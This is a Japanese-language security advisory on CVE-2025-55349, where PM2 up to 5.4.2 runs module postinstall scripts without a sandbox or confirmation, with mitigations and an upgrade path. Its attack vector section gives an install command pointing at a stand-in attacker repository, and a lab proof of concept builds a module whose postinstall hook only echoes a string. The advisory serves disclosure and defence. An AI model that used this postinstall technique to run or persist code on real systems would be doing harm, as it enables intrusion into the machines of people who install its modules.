
postinstall を介した任意コード実行発見者: Golden Ticket Labs
ベンダー: Unitech (pm2)
割当日: 2025年8月20日 (MITRE)
Unitech PM2 v5.4.2 の lib/API/Modules/NPM.js コンポーネントの問題により、巧妙に細工された postinstall スクリプトを含むパッケージをインストールすることで任意コード実行が可能になります。
PM2 は、Git ベースまたはローカルファイルのインストールからの postinstall ライフサイクルスクリプトを、サンドボックス化やユーザー確認なしで自動的に実行します。以下を介して呼び出される場合も含みます。
この脆弱性は、モジュールが壊れている、または機能しない場合でも存続し、攻撃者のコードは PM2 ブートモジュールとして登録されると、システムの再起動後も存続する可能性があります。 影響を受けるバージョン
≤ 5.4.2 — 脆弱
6.0.5 — 修正済み — Git 解析ロジックが削除された (PR #5909) が、この修正は非公表で、変更ログには記載されていない。
攻撃ベクトル
攻撃者は、巧妙に細工された postinstall スクリプトを含む package.json を備えた悪意のある Git リポジトリを準備できます。 PM2 経由でインストールすると、スクリプトが自動的に実行されます:
pm2 install https://github.com/attacker/malicious-module.git
影響
インストール時に攻撃者が制御するコードが実行される
PM2 管理のブートモジュールを介した永続化
共有またはスクリプト化されたインストールを使用する環境での潜在的な横展開
技術的詳細
PM2 はモジュールのインストール中、Git リポジトリを暗黙的に信頼します。postinstall などのライフサイクルスクリプトは、サンドボックス化、可視性、確認のいずれもなしに実行されます。
これはリモートの Git URL とローカルの file:// パスの両方に影響し、攻撃対象領域を大幅に広げます。PM2 モジュールはシステム起動時に開始されることが多いため、永続化や不正な動作が埋め込まれるリスクが高くなります。 軽減策
Git 解析ロジックが削除された PM2 v6.0.5 以降にアップグレードする。
信頼できない Git ソースからモジュールをインストールしない。
概念実証(ラボのみ)
⚠️ 武器化されたエクスプロイトコードは提供されません。これは安全なデモンストレーションです。
# Create a malicious repo
git init pm2-evil
cd pm2-evil
cat > package.json <<EOF
{
"name": "pm2-evil",
"version": "1.0.0",
"scripts": {
"postinstall": "echo 'pwned by CVE-2025-55349'"
}
}
EOF
git add package.json
git commit -m "Evil postinstall"
cd ..
# Trigger the install (on vulnerable pm2 v5.4.2)
pm2 install file://$PWD/pm2-evil
脆弱なバージョンでは、postinstall コマンドが直ちに実行されます。 参照
修正コミット(Git 解析ロジックの削除)
PM2 v6.0.5 リリース ライセンスと免責事項
このリポジトリのすべてのコンテンツは、教育および防御目的のみで提供されます。 エクスプロイトペイロードは含まれていません。明示的な許可なしにこれらの技術をシステムに対して使用しないでください。 連絡先
Golden Ticket Labs 📧 [email protected]
🌐 goldenticketlabs.com